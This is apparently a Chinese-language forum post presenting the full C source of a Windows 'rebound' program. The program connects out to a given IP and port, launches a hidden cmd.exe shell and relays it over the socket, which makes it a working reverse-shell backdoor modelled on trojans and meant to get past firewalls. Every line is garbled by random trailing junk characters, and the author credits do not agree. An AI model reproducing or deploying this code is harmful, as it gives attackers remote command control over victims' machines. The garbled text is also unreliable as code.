这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 M3>c?,O)J
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/* ============================== )L^GGy8w
Rebound port in Windows NT |#uA(V
By wind,2006/7 @JFfyQ {-
===============================*/ -44{b<:D
#include !cblmF;0
#include GJ1ap^k
l]:nncpns
#pragma comment(lib,"wsock32.lib") 2|2'?
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void OutputShell(); !aylrJJ
SOCKET sClient; u7L!&/ 6On
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; >\J({/ #O
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void main(int argc,char **argv) Pr|:nJs
{ fC1PPgQ\
WSADATA stWsaData; i6)7)^nG
int nRet; a g=,oYn
SOCKADDR_IN stSaiClient,stSaiServer; h%2;B;p]
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if(argc != 3) e15_$M;RW
{ 4.>rd6BAN-
printf("Useage:\n\rRebound DestIP DestPort\n"); 99xs5!4s
return; 2@&|/O6_\h
} q#}#A@Rg
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WSAStartup(MAKEWORD(2,2),&stWsaData); sR(or=ub~
soSdlV{
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2;!,:bFb
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stSaiClient.sin_family = AF_INET; pi/Jto25z
stSaiClient.sin_port = htons(0); EL--?<g
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); pb>TUKvT&
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) V5]}b[X
{ rGNYu\\
printf("Bind Socket Failed!\n"); uv&??F]/
return; g>L4N.ZH_v
} 25:[VH$:4
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stSaiServer.sin_family = AF_INET; H>zX8qP+
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); U-b(
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ef
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 7yUtG^'b
{ 4Lg!54P8
printf("Connect Error!"); >#9f{
return; QQ*`tmy
} t[dOWgHi
OutputShell(); !+<OED=qe
} #8cpZ]#
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void OutputShell() 8ztVv
{ ,b b/
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char szBuff[1024]; pm)kocG
SECURITY_ATTRIBUTES stSecurityAttributes; ?.A~O-w
OSVERSIONINFO stOsversionInfo; E}YJGFB7"
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; @Rc/^B:
STARTUPINFO stStartupInfo; PUU
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char *szShell; H}ie D"T_
PROCESS_INFORMATION stProcessInformation; ApT8;F B
unsigned long lBytesRead; IasWm/
ls;!Og9
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); e$vvm bK.
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); r bfIH":
stSecurityAttributes.lpSecurityDescriptor = 0; Ro2Ab^rQ|
stSecurityAttributes.bInheritHandle = TRUE; XCN^>ToD
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); e>6NO
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); VR'R7
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); C6PlO
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6T`F'Fk[
stStartupInfo.wShowWindow = SW_HIDE; #M)SAe2
stStartupInfo.hStdInput = hReadPipe; h1_9Xp~N
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ,E._A(Z
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GetVersionEx(&stOsversionInfo); ?=},%^
f"Z2,!Z;
switch(stOsversionInfo.dwPlatformId) ;^"#3_7T]
{ U+4W9zhwo
case 1: "0V8i%a
szShell = "command.com"; ;_nV*G.y#^
break; ES>iM)M
default: 9w:F_gr
szShell = "cmd.exe"; #}lq2!f6
break; !vY5X2?tr,
} `Lr I^9Z
_!K@(dl
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 32S5Ai@Cd"
&*\-4)Tf
send(sClient,szMsg,77,0); 'CfM'f3uu
while(1) `pJWZ:3
{ B/^1uPTZ71
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); wBJP8wES=
if(lBytesRead) LJh^-FQ
{ Y+ Qm.
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 4k]DktY}.
send(sClient,szBuff,lBytesRead,0); HX`>"
?{
} z0F'zN3J
else ;,2;J3,pA
{ dBeZx1Dy
lBytesRead=recv(sClient,szBuff,1024,0); aGx[?}=
if(lBytesRead<=0) break; }rKKIF^f\S
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); .B? J@,
} kw$*o
k
} 9^zA(
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return; r.vezsH
}